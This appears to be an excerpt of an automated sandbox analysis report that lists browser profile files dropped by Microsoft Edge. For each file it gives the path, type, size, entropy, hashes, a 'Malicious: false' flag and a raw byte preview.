Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2431561620142904
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuSC8YU:pHayq4U
MD5:	E70DB3DEB195EB58342DFF3613477E9A
SHA1:	23581DE34C0AAF8858D426BE390082569BC90D35
SHA-256:	39DB54D7E95E2F6049F5B37035DBC6147B80DEE4150F2235AC7A45A970C9ADED
SHA-512:	113FA0E16EEEFABF8A1AD9D345DA6E7B4A18A42CD799096BF12C6CC650C30659B5AADF09625CE4B9CC686EDD411B8C7F98159093B742D892D1A9DFB8D1B130B3
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141669731436863
Encrypted:	false
SSDEEP:	6:iOXpbJSN+q2PN723oH+TcwtfrK+IFUtFpbJSZZmw7pbJw3VkwON723oH+TcwtfrF:7FgIvVaYeb23FUtbgZ/RW5OaYeb3J
MD5:	F11912BA657324F78D9FEF859A20692B
SHA1:	3A9F8892D53E4C721D55051D8C1FAD9D49E2638B
SHA-256:	C32D9BC09EB3766AA68329B90ABD5ADF37F31C11F56AB791798D846C6668B684
SHA-512:	2FCAEF6087ED42F7BB9E98E64D2697B494A68F2A40BCD62306DFD5B75965CC74C2F70C74A9567CD99A6891797B318621D387174BA75D20C335A894F5002BA39A
Malicious:	false
Preview:	2025/02/01-15:59:18.009 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/01-15:59:18.009 1ed8 Recovering log #3.2025/02/01-15:59:18.010 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.141669731436863
Encrypted:	false
SSDEEP:	6:iOXpbJSN+q2PN723oH+TcwtfrK+IFUtFpbJSZZmw7pbJw3VkwON723oH+TcwtfrF:7FgIvVaYeb23FUtbgZ/RW5OaYeb3J
MD5:	F11912BA657324F78D9FEF859A20692B
SHA1:	3A9F8892D53E4C721D55051D8C1FAD9D49E2638B
SHA-256:	C32D9BC09EB3766AA68329B90ABD5ADF37F31C11F56AB791798D846C6668B684
SHA-512:	2FCAEF6087ED42F7BB9E98E64D2697B494A68F2A40BCD62306DFD5B75965CC74C2F70C74A9567CD99A6891797B318621D387174BA75D20C335A894F5002BA39A
Malicious:	false
Preview:	2025/02/01-15:59:18.009 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/01-15:59:18.009 1ed8 Recovering log #3.2025/02/01-15:59:18.010 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.18381852200917
Encrypted:	false
SSDEEP:	6:iOXpbJ+q2PN723oH+TcwtfrzAdIFUtFpbgZmw7pbpNVkwON723oH+TcwtfrzILJ:7FEvVaYeb9FUtbg/Rpz5OaYeb2J
MD5:	5A8C16AE8353C30A548A94BBD292453B
SHA1:	4E221B4B6C83411DDE5E3A3B3BD5930ED5EDB817
SHA-256:	B72BD7EF1999C1630D0E09094532BE7FA43F6578129075550775B474BE004499
SHA-512:	FF4452BBB06F5630A1E1AAE753884CE7887E2CF1A7D93227B2F19B1FC50EF46C80260713F71C2F5B6C4857C9768E02C25EC937C072B89DF83855DE8C8788C133
Malicious:	false
Preview:	2025/02/01-15:59:17.997 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/01-15:59:17.998 1ed8 Recovering log #3.2025/02/01-15:59:17.999 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.18381852200917
Encrypted:	false
SSDEEP:	6:iOXpbJ+q2PN723oH+TcwtfrzAdIFUtFpbgZmw7pbpNVkwON723oH+TcwtfrzILJ:7FEvVaYeb9FUtbg/Rpz5OaYeb2J
MD5:	5A8C16AE8353C30A548A94BBD292453B
SHA1:	4E221B4B6C83411DDE5E3A3B3BD5930ED5EDB817
SHA-256:	B72BD7EF1999C1630D0E09094532BE7FA43F6578129075550775B474BE004499
SHA-512:	FF4452BBB06F5630A1E1AAE753884CE7887E2CF1A7D93227B2F19B1FC50EF46C80260713F71C2F5B6C4857C9768E02C25EC937C072B89DF83855DE8C8788C133
Malicious:	false
Preview:	2025/02/01-15:59:17.997 1ed8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/01-15:59:17.998 1ed8 Recovering log #3.2025/02/01-15:59:17.999 1ed8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF399d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39a0e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39b85.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c1ea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ac0b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF5092f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089748240825035
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynv0kzItSmd6qE7lFoC
MD5:	70E5265A15770C3F981A89B69D8CD536
SHA1:	6E12D439D24AC33F41C568608023B7B3746E1E0E
SHA-256:	E717B1F54CD002B71C70BDF66800B9AE406035A88A189E609F6E884116A4C228
SHA-512:	06D38AFB9272A77EFFDFF7C6B18FD03ADF88BE3E2A82EA2AF2050965FCEA7D9810CD9EEDA682EDA38D916F0582449F60ABC6B20BA65B443B385DAC41A03AF80C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
